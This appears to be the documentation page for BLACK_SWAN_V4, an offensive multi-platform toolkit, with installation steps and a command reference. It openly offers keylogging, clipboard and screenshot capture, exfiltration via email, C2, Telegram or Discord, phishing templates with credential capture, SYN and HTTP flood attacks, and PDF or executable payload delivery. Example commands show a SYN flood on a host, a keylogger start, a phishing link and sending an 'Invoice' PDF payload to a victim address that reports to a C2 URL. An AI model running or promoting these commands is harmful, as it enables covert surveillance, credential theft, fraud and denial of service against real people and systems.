BLACK_SWAN_V4 · Documentation

Installation step-by-step

Get BLACK_SWAN_V4 running in minutes. Python 3.7+ required.

quick install pip install -r requirements.txt

Clone repository

git clone https://github.com/Iankulani/black_swan.git

cd black_swan

Create virtual environment (recommended)

python3 -m venv venv

source venv/bin/activate (Linux/mac) · venv\Scripts\activate (Windows)

Install core dependencies

pip install -r requirements.txt

includes: requests, psutil, cryptography, flask, socketio, scapy, paramiko, pynput, discord.py, telethon, slack-sdk, etc.

(Optional) Install system tools

sudo apt install nmap nikto whois dnsutils netcat-openbsd docker.io

For macOS: brew install nmap nikto whois netcat docker

Launch BLACK_SWAN_V4

python black_swan.py

default admin: admin / black_swan_2024 (change immediately)

Web dashboard (optional)

web_start 5000 (or use config)

open http://localhost:5000 · black & red cyberpunk UI

Core Features 21k+

Nmap, Curl, Wget, Netcat, Docker, Ping, Traceroute, WHOIS, DNS, SSH, and 20k+ more.

210+ commands

Discord · Telegram · Slack · Signal · iMessage · Google Chat · WhatsApp · Web.

8 platforms

Keystroke logging, screenshot capture, clipboard monitoring, exfil via email/C2/Telegram/Discord.

F10 toggle

100+ templates, tracking, credential capture, automated campaigns with SMTP integration.

spear_create

SYN, UDP, HTTP, ICMP floods · real traffic generation (ICMP/TCP/UDP/HTTP/DNS/ARP).

dos_syn · traffic

IP → domain translation · domain hosting · threat detection · auto-block · Nikto scanner.

ip_to_domain

agent_register

PDF, Email, Link, Executable payloads · track opens/executions · keylogger delivery.

deploy_pdf

Command Examples quick ref

Command	Description	Example
ping	ICMP echo	`ping 8.8.8.8`
nmap_quick	Fast port scan	`nmap_quick 192.168.1.1`
curl	HTTP request	`curl https://example.com`
wget	Download file	`wget_download https://file.zip output.zip`
docker_scan	Vulnerability scan	`docker_scan alpine:latest`
traffic	Generate traffic	`traffic icmp 192.168.1.100 10`
nikto	Web vuln scan	`nikto example.com`
dos_syn	SYN flood	`dos_syn 192.168.1.100 80 30 100`
keylogger_start	Start keylogger	`keylogger_start`
deploy_pdf	PDF payload	`deploy_pdf "Invoice" victim@email.com http://c2/log`
ip_to_domain	Reverse DNS	`ip_to_domain 8.8.8.8`
host_domain	Host domain	`host_domain 192.168.1.100 mydomain.local 8080`
phish_facebook	Phishing link	`phish_facebook`
analyze_ip	Full IP analysis	`analyze_ip 8.8.8.8`

21000+ commands 8 platform bots real traffic gen keylogger + exfil DOS / DDOS domain hosting